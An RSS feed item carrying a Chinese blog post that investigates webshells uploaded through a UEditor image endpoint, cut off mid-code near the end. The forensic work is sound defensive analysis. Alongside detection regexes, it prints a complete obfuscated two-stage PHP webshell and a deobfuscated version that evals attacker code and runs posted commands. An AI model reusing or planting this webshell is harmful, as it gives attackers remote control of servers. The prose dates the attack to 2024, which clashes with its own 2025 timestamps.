<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Webshell on Zhang's Notes</title><link>https://zhangsnotes.com/tags/webshell/</link><description>Recent content in Webshell on Zhang's Notes</description><generator>Hugo</generator><language>zh-CN</language><copyright>Zhang's Notes</copyright><lastBuildDate>Wed, 14 Oct 2026 11:00:00 +0800</lastBuildDate><atom:link href="https://zhangsnotes.com/tags/webshell/index.xml" rel="self" type="application/rss+xml"/><item><title>一次后台管理系统的“上传木马”排查实录：从一个 1.5KB 的 Webshell 说起</title><link>https://zhangsnotes.com/posts/security-upload-malware-analysis/</link><pubDate>Wed, 14 Oct 2026 11:00:00 +0800</pubDate><guid>https://zhangsnotes.com/posts/security-upload-malware-analysis/</guid><description>一次例行代码体检挖出三类共 5 个恶意文件：混淆 Webshell、JPEG 改名上传试探、Adminer 工具，外加 Git 历史里的加密后门。还原排查、样本逐行解密、攻击路径与修复清单，附 IOC 与服务器侧排查手册。</description><content:encoded><![CDATA[<blockquote>
<p><strong>TL;DR</strong>
一次例行代码体检，最后挖出三类共 5 个恶意文件：一个 1566 字节的 XOR+<code>Chr()</code> 双重混淆 Webshell、两个 JPEG 改名的上传绕过试探文件、一个 481KB 的 Adminer 数据库管理工具；外加一段藏在 Git 提交历史里的加密后门。所有恶意代码都<strong>不在业务代码里</strong>，而是通过&quot;文件上传&quot;这条路径进来的。本文完整还原排查过程、样本逐行解密、攻击路径推断与修复清单，代码和 IOC 已脱敏。</p>
</blockquote>
<hr>
<h2 id="0x00-起因一个不该存在的-25mb-文件">0x00 起因：一个不该存在的 25MB 文件</h2>
<p>安全排查的起点往往很偶然。这次是在看仓库体积时，发现 Git 历史里躺着一个 25MB 的二进制归档文件 <code>app_master</code>，而工作区里也没有任何代码引用它。</p>
<p>顺手查了一下引入它的提交：</p>
<pre><code>ca92ed9c88f98ec6148798bccb168bd267bc6bcd
name &lt;name@mail.com&gt;
Mon Dec 29 16:42:24 2025 +0800
 dnlasnd
 11461 files changed, 7475 insertions(+), 1893654 deletions(-)</code></pre>
<p>三个异常信号同时亮红灯：</p>
<ol>
<li><strong>提交者身份</strong>：<code>name &lt;name@mail.com&gt;</code>——一个明显的占位符邮箱，与仓库其他提交者格式完全不同；</li>
<li><strong>提交信息</strong>：<code>dnlasnd</code>，键盘乱敲；</li>
<li><strong>提交规模</strong>：11461 个文件变更，删除了 <strong>189 万行</strong>代码（包括大量第三方 SDK 与一个 MySQL binlog 回放日志），同时新增了 25MB 的 <code>app_master</code> 和一个 <code>public/info.php</code>。</li>
</ol>
<p>正常的业务提交不会长这样。但真正值得警惕的是：<strong>这次提交里混入了大量看起来完全正常的业务代码</strong>（几十个后台 Controller、Action）。攻击者把 2 个恶意文件埋在上万个正常文件里——这是最典型的人肉代码审查绕过手法。如果你的评审习惯是&quot;看 diff 太大就只抽查几屏&quot;，这个提交就会被滑过去。</p>
<hr>
<h2 id="0x01-方法论三层排查">0x01 方法论：三层排查</h2>
<p>发现异常提交后，我把排查拆成三层，结论先行：</p>
<table>
<thead>
<tr>
<th>层</th>
<th>手段</th>
<th>结论</th>
</tr>
</thead>
<tbody><tr>
<td>Git 层</td>
<td>历史提交审计</td>
<td>1 个历史恶意提交（已回滚，但 blob 仍在）</td>
</tr>
<tr>
<td>文件层</td>
<td>工作区+被忽略文件枚举</td>
<td>4 个未跟踪的恶意文件（真实威胁主体）</td>
</tr>
<tr>
<td>代码层</td>
<td>全量正则特征扫描</td>
<td>业务代码 1392 个 PHP 文件 <strong>0 命中</strong></td>
</tr>
</tbody></table>
<p>这个顺序很重要：<strong>先查 Git 层</strong>可以快速判断&quot;有没有人改过代码&quot;，<strong>再查文件层</strong>才能发现&quot;有没有人放过文件&quot;。这次的实际情况是——业务代码是干净的，恶意文件全部走的&quot;文件层&quot;。</p>
<blockquote>
<p>以上三层针对代码仓库与工作区；生产服务器上的验证流程（确认木马是否还在、是否被复制到其他机器）见文末附录 B。</p>
</blockquote>
<h3 id="11-git-层抓人的异常比抓代码的异常更快">1.1 Git 层：抓&quot;人&quot;的异常比抓&quot;代码&quot;的异常更快</h3>
<pre><code># 找出所有新增文件的提交
git log --diff-filter=A --summary

# pickaxe：定位某个可疑字符串在哪次提交被引入
git log -S &quot;PHPJiaMi&quot; --oneline
git log -S &quot;eval(base64_decode&quot; --oneline</code></pre>
<p><code>-S</code> 是这次最有效的命令。它不匹配 diff 内容，而是匹配&quot;<strong>这个字符串出现次数发生变化的提交</strong>&quot;，所以哪怕文件经过混淆、只要特征串在任意版本出现过一次，就会被钉出来。</p>
<p>排查最近 30 个提交后确认：<strong>除 <code>ca92ed9c</code> 外，所有业务逻辑提交（活动筛选、数据导出、概率表单等）均为正常功能代码，无恶意 diff。</strong></p>
<h3 id="12-文件层gitignore-是木马最好的隐身衣">1.2 文件层：<code>.gitignore</code> 是木马最好的隐身衣</h3>
<p>这里有一个很多人忽略的盲区：</p>
<pre data-lang="gitignore"><code class="language-gitignore">/public/info.php
/public/uploads</code></pre>
<p><code>/public/uploads</code> 被忽略了。<strong>这意味着上传目录里的任何文件，永远不会出现在 <code>git status</code> 里，也永远不会被代码评审看到。</strong> 攻击者最喜欢往这里放东西——因为&quot;工作区干净&quot;是一个假象。</p>
<p>用枚举（而不是 <code>git status</code>）来验证：</p>
<pre data-lang="powershell"><code class="language-powershell"><span class="hljs-built_in">Get-ChildItem</span> <span class="hljs-literal">-Recurse</span> <span class="hljs-operator">-File</span> | <span class="hljs-built_in">Where-Object</span> { <span class="hljs-variable">$_</span>.Extension <span class="hljs-operator">-in</span> <span class="hljs-string">&#x27;.php&#x27;</span>,<span class="hljs-string">&#x27;.phtml&#x27;</span>,<span class="hljs-string">&#x27;.php5&#x27;</span>,<span class="hljs-string">&#x27;.pht&#x27;</span> }</code></pre>
<p>同时做<strong>时间戳三角比对</strong>——这是文件层最有力的取证手段：</p>
<table>
<thead>
<tr>
<th>文件</th>
<th>大小</th>
<th>LastWriteTime（服务器原始时间）</th>
<th>CreationTime（本机拷入时间）</th>
</tr>
</thead>
<tbody><tr>
<td><code>11.php；</code></td>
<td>428 B</td>
<td>2025/09/24 20:42:26</td>
<td>2025/12/29 16:42:12</td>
</tr>
<tr>
<td><code>baf3c6f1bb499bdb3ce2f6b74be00bc8.php；</code></td>
<td>428 B</td>
<td>2025/09/24 20:42:36</td>
<td>2025/12/29 16:42:12</td>
</tr>
<tr>
<td><code>1751356353361722/index.php</code></td>
<td>1566 B</td>
<td>2025/09/29 17:24</td>
<td>2025/12/29 16:42:12</td>
</tr>
<tr>
<td><code>adminer.php</code></td>
<td>493022 B</td>
<td>2025/09/29 17:24:50</td>
<td>2025/12/29 16:42:12</td>
</tr>
</tbody></table>
<p>两个信息被直接读出来了：</p>
<ul>
<li><strong>攻击发生在 2024 年 9 月</strong>（LastWriteTime 是服务器上的原始修改时间），而恶意提交发生在 <strong>12 月 29 日 16:42:24</strong>——与本机文件拷入时间 <code>16:42:12</code> 仅差 <strong>12 秒</strong>。这强烈指向：<strong>那次恶意提交与这批上传木马来自同一台机器的同一次操作</strong>，即提交很可能是在已被入侵的服务器/开发机上发起的。</li>
<li>9 月 24 日的文件只是&quot;试探&quot;，9 月 29 日才出现真正的载荷（Webshell + Adminer），符合&quot;先探测上传绕过 → 成功后落地工具&quot;的攻击节奏。</li>
</ul>
<h3 id="13-代码层特征矩阵扫描">1.3 代码层：特征矩阵扫描</h3>
<p>对 <code>app/</code>、<code>config/</code>、<code>routes/</code>、<code>bootstrap/</code>、<code>database/</code>、<code>public/</code>、<code>storage/</code> 等目录做正则矩阵：</p>
<pre data-lang="regex"><code class="language-regex">eval\s*\(|assert\s*\(|gzinflate|gzuncompress|str_rot13|preg_replace\s*\(.{0,10}/e
shell_exec|passthru|proc_open|popen|system\s*\(|exec\s*\(
base64_decode\s*\(\s*['&quot;][A-Za-z0-9+/=]{100,}
chr\s*\(\s*['&quot;]?\d+['&quot;]?\s*\)\s*\.
curl_(exec|init)\s*\(\s*['&quot;]https?://\d{1,3}\.</code></pre>
<p>结果：1392 个 PHP 文件，<strong>恶意特征 0 命中</strong>。命中的少数 <code>base64_decode</code>（4 处）经人工核验均为配置项解密等正常用途；<code>proc_open</code> 全部来自 vendored 的 workerman（长连接组件）；<code>curl</code> 目标均为配置文件里的支付/IM 网关。</p>
<blockquote>
<p>阴性结论也是结论。它把问题域从&quot;代码被投毒&quot;收窄到了&quot;文件被投放&quot;——这决定了后面的修复方向是<strong>上传点加固</strong>，而不是全量代码回滚。</p>
</blockquote>
<hr>
<h2 id="0x02-样本分析">0x02 样本分析</h2>
<h3 id="21-样本-a1566-字节的混淆-webshell重点">2.1 样本 A：1566 字节的混淆 Webshell（重点）</h3>
<p>落点：<code>public/uploads/ueditor/image/20250701/1751356353361722/index.php</code></p>
<p>先说落点本身的信息量：<code>ueditor/image/日期/随机数/</code> 是国内某富文本编辑器上传目录的标准结构，<code>1751356353361722</code> 是时间戳+随机数命名。<strong>这直接暴露了入口——ueditor 的图片上传接口。</strong> 攻击者没有清理痕迹，反而利用了上传组件自动生成的目录层级。</p>
<p>完整原文（1566 字节，共 36 行，为可读性做了折行）：</p>
<pre data-lang="php"><code class="language-php">WelCome You
<span class="hljs-meta">&lt;?</span>pHP
@<span class="hljs-title function_ invoke__">session_start</span>();
@<span class="hljs-title function_ invoke__">set_time_limit</span>(<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;48&quot;</span>));
@error_reporting<span class="hljs-comment">/*SDUwOjSg*/</span>(<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;48&quot;</span>));
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">eejEMPVR</span>(<span class="hljs-params"><span class="hljs-comment">/*mhupeihS*/</span><span class="hljs-variable">$vOmKAvVG</span>,<span class="hljs-variable">$SSBxiTZa</span></span>)</span>{
    <span class="hljs-keyword">for</span>(<span class="hljs-variable">$ENhneBuo</span>=<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;48&quot;</span>);<span class="hljs-variable">$ENhneBuo</span>&lt;<span class="hljs-title function_ invoke__">strlen</span>(<span class="hljs-variable">$vOmKAvVG</span>);<span class="hljs-variable">$ENhneBuo</span>++) {
        <span class="hljs-variable">$XLwyFDAI</span> = <span class="hljs-variable">$SSBxiTZa</span>[<span class="hljs-variable">$ENhneBuo</span>+<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;49&quot;</span>)&amp;<span class="hljs-number">15</span>];
        <span class="hljs-variable">$vOmKAvVG</span>[<span class="hljs-variable">$ENhneBuo</span>] = <span class="hljs-variable">$vOmKAvVG</span>[<span class="hljs-variable">$ENhneBuo</span>]^<span class="hljs-variable">$XLwyFDAI</span>;
    }
    <span class="hljs-keyword">return</span> <span class="hljs-variable">$vOmKAvVG</span>;
}
<span class="hljs-variable">$UKBRgHHM</span> = <span class="hljs-string">&quot;bas&quot;</span>.<span class="hljs-string">&quot;e6&quot;</span>.<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;52&quot;</span>).<span class="hljs-string">&quot;_&quot;</span>.<span class="hljs-string">&quot;de&quot;</span>.<span class="hljs-string">&quot;cod&quot;</span>.<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;101&quot;</span>);
<span class="hljs-variable">$base64_eejEMPVR</span> = <span class="hljs-string">&quot;bas&quot;</span>.<span class="hljs-string">&quot;e6&quot;</span>.<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;52&quot;</span>).<span class="hljs-string">&quot;_e&quot;</span>.<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;110&quot;</span>).<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;99&quot;</span>).<span class="hljs-string">&quot;ode&quot;</span>;
<span class="hljs-variable">$kCgtEweB</span> = <span class="hljs-variable">$UKBRgHHM</span>(<span class="hljs-string">&quot;QWExMjM0NTY=&quot;</span>);
<span class="hljs-variable">$RkOsJqjp</span>=<span class="hljs-string">&#x27;p&#x27;</span>.<span class="hljs-variable">$UKBRgHHM</span>(<span class="hljs-string">&quot;YXlsb2Fk&quot;</span>);
<span class="hljs-variable">$RvqvIvmv</span>=<span class="hljs-string">&#x27;9e0a7f52&#x27;</span>.<span class="hljs-variable">$UKBRgHHM</span>(<span class="hljs-string">&quot;M2E3Y2NjNDM=&quot;</span>);
<span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span><span class="hljs-comment">/*jIjCCISo*/</span>[<span class="hljs-variable">$kCgtEweB</span>])){
    <span class="hljs-variable">$datWOdTXTXU</span>=eejEMPVR<span class="hljs-comment">/*KFGvfXTU*/</span>(<span class="hljs-variable">$UKBRgHHM</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-variable">$kCgtEweB</span>]),<span class="hljs-variable">$RvqvIvmv</span>);
    <span class="hljs-keyword">if</span> (<span class="hljs-comment">/*etIIgnKx*/</span><span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_SESSION</span><span class="hljs-comment">/*kdhlzvzG*/</span>[<span class="hljs-variable">$RkOsJqjp</span>])){
        <span class="hljs-variable">$bYUrxkyK</span>=<span class="hljs-title function_ invoke__">eejEMPVR</span>(<span class="hljs-variable">$_SESSION</span><span class="hljs-comment">/*zPikUtyN*/</span>[<span class="hljs-variable">$RkOsJqjp</span>],<span class="hljs-variable">$RvqvIvmv</span>);
        <span class="hljs-keyword">if</span> (<span class="hljs-comment">/*LaRqxBlE*/</span><span class="hljs-title function_ invoke__">strpos</span>(<span class="hljs-variable">$bYUrxkyK</span>,<span class="hljs-variable">$UKBRgHHM</span><span class="hljs-comment">/*aAvwuFdk*/</span>(<span class="hljs-string">&quot;Z2V0QmFzaWNzSW5mbw==&quot;</span>))===<span class="hljs-literal">false</span>){
            <span class="hljs-variable">$bYUrxkyK</span>=eejEMPVR<span class="hljs-comment">/*mjjzkNEj*/</span>(<span class="hljs-variable">$bYUrxkyK</span>,<span class="hljs-variable">$RvqvIvmv</span>);
        }
        <span class="hljs-title function_ invoke__">define</span>(<span class="hljs-string">&quot;fJnlBRwc&quot;</span>,<span class="hljs-string">&quot;//iHyOLbzT\r\n&quot;</span>.<span class="hljs-variable">$bYUrxkyK</span>);
        <span class="hljs-keyword">eval</span>(<span class="hljs-string">&quot;/*pass-DP@i*/&quot;</span>.fJnlBRwc.<span class="hljs-string">&quot;&quot;</span>);
        <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">substr</span>(<span class="hljs-comment">/*bNSBLBno*/</span>md5<span class="hljs-comment">/*iFkGwXwz*/</span>(<span class="hljs-variable">$kCgtEweB</span>.<span class="hljs-variable">$RvqvIvmv</span>),<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;48&quot;</span>),<span class="hljs-number">16</span>);
        <span class="hljs-keyword">echo</span> <span class="hljs-variable">$base64_eejEMPVR</span>(<span class="hljs-title function_ invoke__">eejEMPVR</span>(@<span class="hljs-title function_ invoke__">run</span>(<span class="hljs-variable">$datWOdTXTXU</span>),<span class="hljs-variable">$RvqvIvmv</span>));
        <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">substr</span>(<span class="hljs-comment">/*UShEPXco*/</span>md5<span class="hljs-comment">/*vEETGndB*/</span>(<span class="hljs-variable">$kCgtEweB</span>.<span class="hljs-variable">$RvqvIvmv</span>),<span class="hljs-number">16</span>);
    }<span class="hljs-keyword">else</span>{
        <span class="hljs-keyword">if</span> (strpos<span class="hljs-comment">/*OsvPqHWl*/</span>(<span class="hljs-variable">$datWOdTXTXU</span>,<span class="hljs-variable">$UKBRgHHM</span>(<span class="hljs-string">&quot;Z2V0QmFzaWNzSW5mbw==&quot;</span>))!==<span class="hljs-literal">false</span>){
            <span class="hljs-variable">$_SESSION</span>[<span class="hljs-variable">$RkOsJqjp</span>]=<span class="hljs-title function_ invoke__">eejEMPVR</span>(<span class="hljs-variable">$datWOdTXTXU</span>,<span class="hljs-variable">$RvqvIvmv</span>);
        }
    }
}
<span class="hljs-meta">?&gt;</span></code></pre>
<p>逐段解密。混淆一共用了五种手法，逐个拆：</p>
<p><strong>① <code>Chr()</code> 拼接函数名</strong></p>
<pre data-lang="php"><code class="language-php"><span class="hljs-variable">$UKBRgHHM</span> = <span class="hljs-string">&quot;bas&quot;</span>.<span class="hljs-string">&quot;e6&quot;</span>.<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;52&quot;</span>).<span class="hljs-string">&quot;_&quot;</span>.<span class="hljs-string">&quot;de&quot;</span>.<span class="hljs-string">&quot;cod&quot;</span>.<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;101&quot;</span>);</code></pre>
<p><code>Chr(&quot;52&quot;)</code> = <code>&#39;4&#39;</code>，<code>Chr(&quot;101&quot;)</code> = <code>&#39;e&#39;</code>，拼起来就是 <strong><code>base64_decode</code></strong>。同理 <code>$base64_eejEMPVR</code> = <code>base64_encode</code>。用 <code>chr()</code> 而不是直接写字符串，是为了绕过静态扫描器对 <code>base64_decode</code>、<code>eval</code> 等敏感函数名的字面量匹配。</p>
<p><strong>② XOR 密钥也藏在 base64 里</strong></p>
<pre data-lang="php"><code class="language-php"><span class="hljs-variable">$kCgtEweB</span> = <span class="hljs-variable">$UKBRgHHM</span>(<span class="hljs-string">&quot;QWExMjM0NTY=&quot;</span>);   <span class="hljs-comment">// &quot;Aa123456&quot;   → POST 参数名</span>
<span class="hljs-variable">$RkOsJqjp</span> = <span class="hljs-string">&#x27;p&#x27;</span>.<span class="hljs-variable">$UKBRgHHM</span>(<span class="hljs-string">&quot;YXlsb2Fk&quot;</span>);   <span class="hljs-comment">// &quot;payload&quot;    → $_SESSION[&#x27;payload&#x27;]</span>
<span class="hljs-variable">$RvqvIvmv</span> = <span class="hljs-string">&#x27;9e0a7f52&#x27;</span>.<span class="hljs-variable">$UKBRgHHM</span>(<span class="hljs-string">&quot;M2E3Y2NjNDM=&quot;</span>); <span class="hljs-comment">// → &quot;9e0a7f523a7ccc43&quot;，16 字节 XOR 密钥</span></code></pre>
<p>POST 参数名是 <code>Aa123456</code>，会话键是 <code>payload</code>，XOR 密钥是 <code>9e0a7f523a7ccc43</code>。</p>
<p><strong>③ XOR 循环里的一个隐蔽细节</strong></p>
<pre data-lang="php"><code class="language-php"><span class="hljs-variable">$XLwyFDAI</span> = <span class="hljs-variable">$SSBxiTZa</span>[<span class="hljs-variable">$ENhneBuo</span> + <span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;49&quot;</span>) &amp; <span class="hljs-number">15</span>];</code></pre>
<p>PHP 里 <code>+</code> 优先级高于 <code>&amp;</code>，所以这句实际是 <code>$key[($i + 1) &amp; 15]</code>——<strong>密钥取位整体错位一位，并对 16 取模循环</strong>。也就是说它不是简单的&quot;明文 XOR 密钥&quot;，而是 XOR 密钥的<strong>旋转版本</strong>。如果你写解密脚本时按标准 XOR 写，前 16 字节会全是乱码。这种&quot;故意留一个语义陷阱&quot;的手法，在实战样本里非常常见。</p>
<p><strong>④ 垃圾注释打断特征串</strong></p>
<pre data-lang="php"><code class="language-php"><span class="hljs-variable">$_POST</span><span class="hljs-comment">/*jIjCCISo*/</span>[<span class="hljs-variable">$kCgtEweB</span>]
@error_reporting<span class="hljs-comment">/*SDUwOjSg*/</span>(<span class="hljs-title function_ invoke__">Chr</span>(<span class="hljs-string">&quot;48&quot;</span>))</code></pre>
<p>函数名与括号/方括号之间插入随机字符串注释。这能精确打断 <code>$_POST[</code>、<code>error_reporting(</code> 这类签名匹配，但 PHP 解析器完全无视注释——代码功能零损耗。<code>/*...*/</code> 内容是随机的，每个样本都不同，所以这也是<strong>每个样本的唯一特征串</strong>，可以用来做同源归因。</p>
<p><strong>⑤ 大小写混合 + 明文头部</strong></p>
<pre data-lang="php"><code class="language-php">WelCome You
<span class="hljs-meta">&lt;?</span>pHP</code></pre>
<p><code>&lt;?pHP</code> 混淆大小写；文件第一行还有一段 PHP 标签之前的明文 <code>WelCome You</code>，它会被原样输出到 HTTP 响应体最前面——这既是作者的&quot;签名&quot;，也是攻击者的<strong>存活探针</strong>：请求这个文件，只要响应体以 <code>WelCome You</code> 开头，就说明 PHP 解析生效了。</p>
<p><strong>还原后的逻辑</strong></p>
<pre data-lang="php"><code class="language-php"><span class="hljs-title function_ invoke__">session_start</span>();
<span class="hljs-title function_ invoke__">define</span>(<span class="hljs-string">&#x27;POST_FIELD&#x27;</span>, <span class="hljs-string">&#x27;Aa123456&#x27;</span>);          <span class="hljs-comment">// 入参字段名</span>
<span class="hljs-title function_ invoke__">define</span>(<span class="hljs-string">&#x27;SESS_KEY&#x27;</span>,   <span class="hljs-string">&#x27;payload&#x27;</span>);            <span class="hljs-comment">// 会话键</span>
<span class="hljs-title function_ invoke__">define</span>(<span class="hljs-string">&#x27;XOR_KEY&#x27;</span>,    <span class="hljs-string">&#x27;9e0a7f523a7ccc43&#x27;</span>);   <span class="hljs-comment">// 16 字节密钥（注意实际使用时旋转了 1 位）</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">xor_decrypt</span>(<span class="hljs-params"><span class="hljs-variable">$data</span>, <span class="hljs-variable">$key</span></span>) </span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-variable">$i</span> = <span class="hljs-number">0</span>; <span class="hljs-variable">$i</span> &lt; <span class="hljs-title function_ invoke__">strlen</span>(<span class="hljs-variable">$data</span>); <span class="hljs-variable">$i</span>++)
        <span class="hljs-variable">$data</span>[<span class="hljs-variable">$i</span>] = <span class="hljs-variable">$data</span>[<span class="hljs-variable">$i</span>] ^ <span class="hljs-variable">$key</span>[(<span class="hljs-variable">$i</span> + <span class="hljs-number">1</span>) &amp; <span class="hljs-number">15</span>];
    <span class="hljs-keyword">return</span> <span class="hljs-variable">$data</span>;
}

<span class="hljs-variable">$cmd</span> = <span class="hljs-title function_ invoke__">xor_decrypt</span>(<span class="hljs-title function_ invoke__">base64_decode</span>(<span class="hljs-variable">$_POST</span>[POST_FIELD]), XOR_KEY);

<span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_SESSION</span>[SESS_KEY])) {                    <span class="hljs-comment">// —— 阶段二：执行</span>
    <span class="hljs-variable">$loader</span> = <span class="hljs-title function_ invoke__">xor_decrypt</span>(<span class="hljs-variable">$_SESSION</span>[SESS_KEY], XOR_KEY);
    <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">strpos</span>(<span class="hljs-variable">$loader</span>, <span class="hljs-string">&#x27;getBasicInfo&#x27;</span>) === <span class="hljs-literal">false</span>)
        <span class="hljs-variable">$loader</span> = <span class="hljs-title function_ invoke__">xor_decrypt</span>(<span class="hljs-variable">$loader</span>, XOR_KEY);     <span class="hljs-comment">// 容错：二次解密</span>
    <span class="hljs-keyword">eval</span>(<span class="hljs-variable">$loader</span>);                                    <span class="hljs-comment">// eval 出 run() 函数定义</span>
    <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">substr</span>(<span class="hljs-title function_ invoke__">md5</span>(POST_FIELD . XOR_KEY), <span class="hljs-number">0</span>, <span class="hljs-number">16</span>);   <span class="hljs-comment">// 帧头</span>
    <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-title function_ invoke__">xor_decrypt</span>(<span class="hljs-title function_ invoke__">run</span>(<span class="hljs-variable">$cmd</span>), XOR_KEY));  <span class="hljs-comment">// 真正的执行结果</span>
    <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">substr</span>(<span class="hljs-title function_ invoke__">md5</span>(POST_FIELD . XOR_KEY), <span class="hljs-number">16</span>);      <span class="hljs-comment">// 帧尾</span>
} <span class="hljs-keyword">else</span> {                                             <span class="hljs-comment">// —— 阶段一：装载</span>
    <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">strpos</span>(<span class="hljs-variable">$cmd</span>, <span class="hljs-string">&#x27;getBasicInfo&#x27;</span>) !== <span class="hljs-literal">false</span>)
        <span class="hljs-variable">$_SESSION</span>[SESS_KEY] = <span class="hljs-title function_ invoke__">xor_decrypt</span>(<span class="hljs-variable">$cmd</span>, XOR_KEY);
}</code></pre>
<p>这是一个<strong>两阶段（stager）设计</strong>，非常值得注意：</p>
<ul>
<li><strong>阶段一（装载）</strong>：POST 一段包含 <code>getBasicInfo</code> 标记的 PHP 代码，服务端解密后存进 <code>$_SESSION[&#39;payload&#39;]</code>，<strong>不执行</strong>；</li>
<li><strong>阶段二（执行）</strong>：再 POST 任意命令，服务端从会话取出装载代码 <code>eval</code>（此时 <code>run()</code> 函数被定义出来），然后调用 <code>run($cmd)</code> 执行真正的命令，结果 XOR+base64 编码后返回。</li>
</ul>
<p>为什么要这么绕？两个目的：</p>
<ol>
<li><strong>磁盘零残留</strong>。核心 payload 存在会话里（内存/redis），服务器上永远只有一个 1.5KB 的&quot;空壳&quot;，文件内容里<strong>不包含任何实际攻击代码</strong>，杀软和 Webshell 扫描器翻遍这个文件也找不到可判定的恶意特征。</li>
<li><strong>输出混淆</strong>。返回值用 <code>md5</code> 的前 16 位和后 16 位做帧头帧尾，方便客户端脚本从一堆业务错误信息里把结果摘出来。</li>
</ol>
<p>顺带一提，<code>$loader</code> 里那句 <code>strpos($code, &#39;getBasicInfo&#39;) === false</code> 就是<strong>自校验</strong>：只有解密结果里含 <code>getBasicInfo</code> 才认为密钥正确，否则再解一次。这是在防止攻击者自己用错密钥导致 <code>eval</code> 出乱码把 PHP 进程打崩。</p>
<h3 id="22-样本-b428-字节的-jpeg-改名试探">2.2 样本 B：428 字节的 JPEG 改名试探</h3>
<p><code>public/uploads/images/</code> 下有两个文件，真实文件名是：</p>
<pre><code>11.php；
baf3c6f1bb499bdb3ce2f6b74be00bc8.php；</code></pre>
<p>注意结尾——文件名以**全角分号 <code>；</code>（U+FF1B，码点 65307）**结尾，不是半角 <code>;</code>。魔数校验：</p>
<pre><code>11.php；                  magic = FF D8 FF E0
baf3c6f1bb...bc8.php；    magic = FF D8 FF E0</code></pre>
<p><code>FF D8 FF E0</code> 是标准 JPEG（JFIF）头。<strong>两个文件都是真图片，只是被改成了 <code>.php</code> 后缀。</strong></p>
<p>这说明什么？<strong>它们根本不是载荷，而是&quot;探针&quot;。</strong> 428 字节的图片加 <code>.php</code> 后缀，如果服务器执行它，只会输出一堆 JPEG 乱码；攻击者要验证的是&quot;<strong>上传后的文件能否被当作 PHP 执行</strong>&quot;，而不是真的要用它做事。全角分号更是典型的<strong>解析漏洞试探</strong>：在某些 Apache/Nginx + Windows 的配置下，<code>xxx.php;xxx.jpg</code> 这类构造会因为 URL 解析与文件系统解析不一致而只取 <code>.php</code> 部分执行（类似 <code>%00</code> 截断的变体）。<code>baf3c6f1...</code> 这个 32 位十六进制串则是常见 CMS/上传组件生成的文件名格式——说明攻击者可能同时在试探多个上传接口。</p>
<p>时间线上它们出现在 9 月 24 日，比 9 月 29 日的 Webshell 早 5 天。<strong>先探针、后载荷</strong>，节奏吻合。</p>
<h3 id="23-样本-c481kb-的-adminer">2.3 样本 C：481KB 的 Adminer</h3>
<p><code>public/uploads/ueditor/image/20250701/adminer.php</code>，493022 字节，文件头：</p>
<pre data-lang="php"><code class="language-php"><span class="hljs-comment">/** Adminer - Compact database management
* <span class="hljs-doctag">@link</span> https://www.adminer.org/
* <span class="hljs-doctag">@version</span> 5.2.1</span></code></pre>
<p>开源数据库管理工具 Adminer。<strong>单文件、免安装、支持 MySQL/PostgreSQL/SQLite、带导入导出</strong>——它是攻击者最爱的&quot;二次入口&quot;：一旦拿到 Webshell，下一步就是把 Adminer 丢到 web 目录里，用浏览器可视化地拖库，比命令行 <code>mysqldump</code> 舒服得多。</p>
<p>它也暴露了攻击者的<strong>意图是数据窃取</strong>，而不只是留个后门。同时它还构成一条持久化通道：即使你删了 Webshell，只要这个文件还在，攻击者知道 URL 就能随时连数据库。</p>
<p>值得强调的是：它能被放进 uploads 目录并存活 3 个月（9 月 29 日 → 12 月 29 日），恰恰印证了那句老话——<strong>上传目录禁止执行，比任何 WAF 都便宜且有效。</strong></p>
<h3 id="24-附git-历史里的加密后门">2.4 附：Git 历史里的&quot;加密后门&quot;</h3>
<p><code>git show ca92ed9c:public/info.php</code> 可以把历史里的后门取出来，头部：</p>
<pre data-lang="php"><code class="language-php"><span class="hljs-meta">&lt;?php</span> <span class="hljs-comment">/* PHP Encode by  https://Www.PHPJiaMi.Com/ */</span>
<span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>); <span class="hljs-title function_ invoke__">ini_set</span>(<span class="hljs-string">&quot;display_errors&quot;</span>, <span class="hljs-number">0</span>);
<span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">defined</span>(<span class="hljs-string">&#x27;dacqtlyw&#x27;</span>)){ <span class="hljs-title function_ invoke__">define</span>(<span class="hljs-string">&#x27;dacqtlyw&#x27;</span>,<span class="hljs-keyword">__FILE__</span>);
<span class="hljs-keyword">if</span>(!<span class="hljs-title function_ invoke__">function_exists</span>(<span class="hljs-string">&quot;&lt;乱码&gt;&quot;</span>)){ <span class="hljs-function"><span class="hljs-keyword">function</span> &quot;&lt;乱码&gt;&quot;(<span class="hljs-params">...</span>)</span>{</code></pre>
